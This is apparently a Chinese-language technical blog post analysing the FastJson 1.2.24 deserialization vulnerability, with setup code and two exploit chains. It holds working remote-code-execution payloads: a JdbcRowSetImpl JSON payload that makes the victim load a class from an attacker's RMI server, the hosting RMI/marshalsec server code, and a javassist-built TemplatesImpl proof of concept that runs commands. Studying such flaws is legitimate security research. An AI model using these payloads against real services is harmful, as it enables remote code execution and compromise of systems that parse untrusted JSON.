FastJson是一个Java语言编写的高性能功能完善的JSON库,可以将数据在JSON和Java Object之间互相转换,涉及到序列化和反序列化的操作,由此从1.2.24版本便开始爆出反序列化漏洞
环境搭建 创建Maven项目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <dependency > <groupId > com.alibaba</groupId > <artifactId > fastjson</artifactId > <version > 1.2.24</version > </dependency > <dependency > <groupId > org.javassist</groupId > <artifactId > javassist</artifactId > <version > 3.20.0-GA</version > </dependency > <dependency > <groupId > commons-codec</groupId > <artifactId > commons-codec</artifactId > <version > 1.10</version > </dependency >
漏洞分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import com.alibaba.fastjson.JSON;public class Test { public static void main ( String[] args ) { User user=new User (); user.setName("l3yx" ); String user_json= JSON.toJSONString(user); System.out.println(user_json); Object user1=JSON.parse(user_json); Object user2=JSON.parseObject(user_json,User.class); System.out.println(user1.getClass().getName()); System.out.println(user2.getClass().getName()); System.out.println(((User)user2).getName()); } } class User { private String name; public String getName () { return name; } public void setName (String name) { this .name = name; } }
可以看到parse(String)
将JSON字符串解析成了一个JSONObject对象,parseObject(String,Class)
将JSON字符串反序列化为一个相应的Java对象
另外FastJson还提供一个特殊字符段@type
,通过这个字段可以指定反序列化任意类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import com.alibaba.fastjson.JSON;public class Test { public static void main ( String[] args ) { String user_json="{\"@type\":\"org.example.User\",\"name\":\"l3yx\"}" ; System.out.println(user_json); Object user1=JSON.parse(user_json); Object user2=JSON.parseObject(user_json,User.class); System.out.println(user1.getClass().getName()); System.out.println(user2.getClass().getName()); System.out.println(((User)user2).getName()); } } class User { private String name; public String getName () { return name; } public void setName (String name) { System.out.println("setter..." ); this .name = name; } }
而且在反序列化的同时调用了对象的set方法,说明FastJson在对JSON字符串反序列化的时候,会尝试通过setter方法对对象的属性进行赋值
那么在这种情况下,找到有可以利用的setter方法的类,就能完成该漏洞的利用
在满足一定条件下也会调用getter方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import java.util.Hashtable;public class Test { public static void main (String[] args) throws Exception { String json="{\"table\":{}}" ; System.out.println(json); Foo foo=JSON.parseObject(json,Foo.class, Feature.SupportNonPublicField); } } class Foo { private Hashtable table; public Hashtable getTable () { System.out.println("getter" ); return table; } }
具体的规则参考于 JAVA反序列化—FastJson组件
JdbcRowSetImpl+JNDI Reference Payload 先看一下JdbcRowSetImpl
的源码
该类的connect()
函数中325行和326行是一段JNDI查找远程对象的代码,如果this.getDataSourceName()
可控并且能触发connect()
函数的话就有可能实现JNDI注入达到RCE
setDataSourceName(String var1)
函数赋值dataSourceName
setAutoCommit(boolean var1)
函数调用了connect()
之前说到FastJson会自动调用setter来完成对对象属性的赋值,所以这里payload
1 2 3 4 5 { "@type" : "com.sun.rowset.JdbcRowSetImpl" , "dataSourceName" : "rmi://ip:port/Evil" , "autoCommit" : true }
首先@type
字段会指定反序列化com.sun.rowset.JdbcRowSetImpl
类
然后调用setDataSourceName(String var1)
对dataSourceName
赋值,这里赋值为恶意的RMI服务地址
最后调用setAutoCommit(boolean var1)
从而调用connect()
触发JNDI注入,autoCommit
的值类型是boolean
,这里设置true
或false
都可,JNDI注入部分可以参考深入理解JNDI注入与Java反序列化漏洞利用
下面构造一个恶意类,其中执行命令的代码可以放在构造方法,getObjectInstance()
方法或者静态代码块中
1 2 3 4 5 6 7 8 9 10 import java.io.IOException;public class Evil { static { try { Runtime.getRuntime().exec("calc" ); } catch (IOException e) { } } }
编译好的class文件放于web服务器
通过RMI服务返回一个JNDI Naming Reference,受害者解码Reference时会去我们指定的Codebase远程地址加载Factory类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Reference;import java.rmi.registry.*;public class App { public static void main ( String[] args ) throws Exception { System.setProperty("java.rmi.server.hostname" ,"ip" ); Registry registry = LocateRegistry.createRegistry(9999 ); String remote_class_server = "http://ip:80/" ; Reference reference = new Reference ("Evil" , "Evil" , remote_class_server); ReferenceWrapper referenceWrapper = new ReferenceWrapper (reference); registry.bind("Evil" , referenceWrapper); System.out.println("start..." ); } }
或者借助marshalsec 项目,直接启动一个RMI服务器,监听9999端口,并制定加载远程类Evil.class
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://ip/#Evil" 9999
最后运行漏洞代码加载payload
在高版本中Java限制了Naming/Directory服务中JNDI Reference远程加载Object Factory类的特性。默认不允许从远程的Codebase加载Reference工厂类。如果需要开启 RMI Registry 或者 COS Naming Service Provider的远程类加载功能,需要将相关属性值设置为true
1 2 3 4 5 6 7 8 9 10 11 12 13 import com.alibaba.fastjson.JSON;public class Test { public static void main ( String[] args ) throws Exception { System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase" , "true" ); String payload = "{\n" + " \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" + " \"dataSourceName\":\"rmi://ip:9999/Evil\",\n" + " \"autoCommit\":true\n" + "}" ; JSON.parseObject(payload); } }
TemplatesImpl 还是先放上POC,关于TemplatesImpl
的构造在学习JDK7u21Gadgets时已经接触过了 JDK7u21反序列化Gadgets
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.*;import javassist.*;import org.apache.commons.codec.binary.Base64;public class Demo { public static void main (String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.makeClass("Evil" ); cc.setSuperclass((pool.get(AbstractTranslet.class.getName()))); CtConstructor cons = new CtConstructor (new CtClass []{}, cc); cons.setBody("{ Runtime.getRuntime().exec(\"calc\"); }" ); cc.addConstructor(cons); byte [] byteCode=cc.toBytecode(); String evilCode=Base64.encodeBase64String(byteCode); String poc="{\n" + "\"@type\":\"" +TemplatesImpl.class.getName()+"\",\n" + "\"_bytecodes\":[\"" +evilCode+"\"],\n" + "\"_name\":\"xx\",\n" + "\"_tfactory\":{ },\n" + "\"_outputProperties\":{ }\n" + "}" ; System.out.println(poc); JSON.parse(poc,Feature.SupportNonPublicField); } }
其中还有几点需要梳理一下
Feature.SupportNonPublicField 在漏洞触发时必须传入Feature.SupportNonPublicField
参数,这也成了该条利用链的限制,导致不是很通用
1 JSON.parse(poc,Feature.SupportNonPublicField);
这是因为POC中有一些private属性,而且TemplatesImpl
类中没有相应的set方法,所以需要传入该参数让其支持非public属性,当然如果private属性存在相应set方法的话,FastJson会自动调用其set方法完成赋值,不需要Feature.SupportNonPublicField
参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;public class Test { public static void main (String[] args) throws Exception { String json="{\"name\":\"l3yx\",\"age\":20}" ; System.out.println(json); Person person1=JSON.parseObject(json,Person.class, Feature.SupportNonPublicField); Person person2=JSON.parseObject(json,Person.class); System.out.println(person1); System.out.println(person2); } } class Person { private int age; public String name; Person(){ } Person(int age,String name){ this .age=age; this .name=name; } @Override public String toString () { return "Person{" + "age=" + age + ", name='" + name + '\'' + '}' ; } }
_outputProperties FastJson对变量赋值的逻辑在parseField
中实现
com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#parseField
key即为传入的属性名,经过了smartMatch
处理
com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch
会替换掉字段key中的_
和-
,从而 _outputProperties
和 getOutputProperties()
可以成功关联上
所以删除掉POC中的_
也是没有影响的
_bytecodes _bytecodes
参数是以base64编码传入的,FastJson提取byte[]数组字段值时会进行Base64解码
com.alibaba.fastjson.serializer.ObjectArrayCodec#deserialze
com.alibaba.fastjson.parser.JSONScanner#bytesValue
参考 深入理解JNDI注入与Java反序列化漏洞利用
Fastjson 1.2.24反序列化漏洞分析
JAVA反序列化 - FastJson组件
fastjson 1.2.24 反序列化导致任意命令执行漏洞
Fastjson 流程分析及 RCE 分析
FastJson 反序列化学习